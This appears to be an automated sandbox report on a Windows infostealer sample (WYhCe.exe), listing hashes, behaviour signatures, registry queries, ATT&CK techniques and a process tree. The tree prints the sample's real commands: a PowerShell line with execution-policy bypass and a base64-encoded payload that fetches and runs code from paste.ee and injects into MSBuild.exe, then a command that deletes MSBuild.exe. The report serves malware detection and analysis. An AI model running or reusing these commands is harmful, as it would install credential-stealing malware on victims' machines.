e10c07621cbf12d95bfcb870835c10bbda376fd9e17e49f5caca6b3a3d239bdb

Analysis

max time kernel
54s
max time network
55s
platform
windows7_x64
resource
win7
submitted
07-07-2020 13:12

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General

Target

WYhCe.exe
Size

103KB
MD5

c2337bf726d285b3e59ef7f26f388bca
SHA1

5b2bfc673012d02f27299db6929a144fd2517f93
SHA256

e10c07621cbf12d95bfcb870835c10bbda376fd9e17e49f5caca6b3a3d239bdb
SHA512

27e9e92d12658dd6a6e1e710577ea94d8523d3a6f703646007d8d001db9a2b608d314d9e727063207699db9717ed0e2bb77c2a19bae3e79542bec9389c5d2ba1

Score

8^/10

spyware discovery

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1336	powershell.exe

Blacklisted process makes network request 2 IoCs

flow	pid	Process
4	1336	powershell.exe
5	1336	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1336 set thread context of 764	1336	powershell.exe	28

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Checks for installed software on the system 1 TTPs 29 IoCs

discovery

Query Registry

T1012

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE40\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4087364\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ef6b00ec-13e1-4c25-9064-b2f383cb8412}\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-1033-7B44-A90000000001}\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\DisplayName	MSBuild.exe
Key enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\DisplayName	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655\DisplayName	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}\DisplayName	MSBuild.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1656	PING.EXE

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 832 wrote to memory of 1208	832	WYhCe.exe	25
PID 832 wrote to memory of 1208	832	WYhCe.exe	25
PID 832 wrote to memory of 1208	832	WYhCe.exe	25
PID 832 wrote to memory of 1208	832	WYhCe.exe	25
PID 1208 wrote to memory of 1336	1208	cmd.exe	26
PID 1208 wrote to memory of 1336	1208	cmd.exe	26
PID 1208 wrote to memory of 1336	1208	cmd.exe	26
PID 1208 wrote to memory of 1336	1208	cmd.exe	26
PID 1336 wrote to memory of 764	1336	powershell.exe	28
PID 1336 wrote to memory of 764	1336	powershell.exe	28
PID 1336 wrote to memory of 764	1336	powershell.exe	28
PID 1336 wrote to memory of 764	1336	powershell.exe	28
PID 1336 wrote to memory of 764	1336	powershell.exe	28
PID 1336 wrote to memory of 764	1336	powershell.exe	28
PID 1336 wrote to memory of 764	1336	powershell.exe	28
PID 1336 wrote to memory of 764	1336	powershell.exe	28
PID 1336 wrote to memory of 764	1336	powershell.exe	28
PID 1336 wrote to memory of 764	1336	powershell.exe	28
PID 764 wrote to memory of 1664	764	MSBuild.exe	31
PID 764 wrote to memory of 1664	764	MSBuild.exe	31
PID 764 wrote to memory of 1664	764	MSBuild.exe	31
PID 764 wrote to memory of 1664	764	MSBuild.exe	31
PID 1664 wrote to memory of 1656	1664	cmd.exe	33
PID 1664 wrote to memory of 1656	1664	cmd.exe	33
PID 1664 wrote to memory of 1656	1664	cmd.exe	33
PID 1664 wrote to memory of 1656	1664	cmd.exe	33

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1336	powershell.exe

C:\Users\Admin\AppData\Local\Temp\WYhCe.exe
"C:\Users\Admin\AppData\Local\Temp\WYhCe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:832
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start PowERsHELl.ExE -ExecutionPolicy bypass -w 1 /e JABIAFAAdgBhAGQASQAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHUAQgBKADEAZgAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAEsAcQBNAFkAUQBDAGUAZABMAGgAcwBDAFkARwBpAHMAVgBvAGEATQBYAFAAdwBLAFUAYwBTAHcAdAB6AHgAUQBEAGMAbQBVAG4AaQBYAEEASQB5AG8AdABMAGEAWQBkAGkATgBuAFoAUABUAFUAZQBOAGcATgB0AHQAdwBqAHMAWgBTAHQAbABnAFEAQQBGAGcAbQBhAEcAUQBWAHEAZwBEAFcAWgB5AFgAUQBEAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ASABpAFMANgBpACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1208
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PowERsHELl.ExE -ExecutionPolicy bypass -w 1 /e JABIAFAAdgBhAGQASQAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHUAQgBKADEAZgAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAEsAcQBNAFkAUQBDAGUAZABMAGgAcwBDAFkARwBpAHMAVgBvAGEATQBYAFAAdwBLAFUAYwBTAHcAdAB6AHgAUQBEAGMAbQBVAG4AaQBYAEEASQB5AG8AdABMAGEAWQBkAGkATgBuAFoAUABUAFUAZQBOAGcATgB0AHQAdwBqAHMAWgBTAHQAbABnAFEAQQBGAGcAbQBhAEcAUQBWAHEAZwBEAFcAWgB5AFgAUQBEAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAEgAUAB2AGEAZABJACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ASABpAFMANgBpACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABLAHEATQBZAFEAQwBlAGQATABoAHMAQwBZAEcAaQBzAFYAbwBhAE0AWABQAHcASwBVAGMAUwB3AHQAegB4AFEARABjAG0AVQBuAGkAWABBAEkAeQBvAHQATABhAFkAZABpAE4AbgBaAFAAVABVAGUATgBnAE4AdAB0AHcAagBzAFoAUwB0AGwAZwBRAEEARgBnAG0AYQBHAFEAVgBxAGcARABXAFoAeQBYAFEARABqACkA
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Blacklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    - Suspicious use of AdjustPrivilegeToken
    PID:1336
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      Checks for installed software on the system
      Suspicious use of WriteProcessMemory
      PID:764
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping google.com && erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1664
      - C:\Windows\SysWOW64\PING.EXE
        
        ping google.com
        6⤵
        Runs ping.exe
        
        PID:1656

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Remote System Discovery

T1018

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/764-5-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/764-7-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download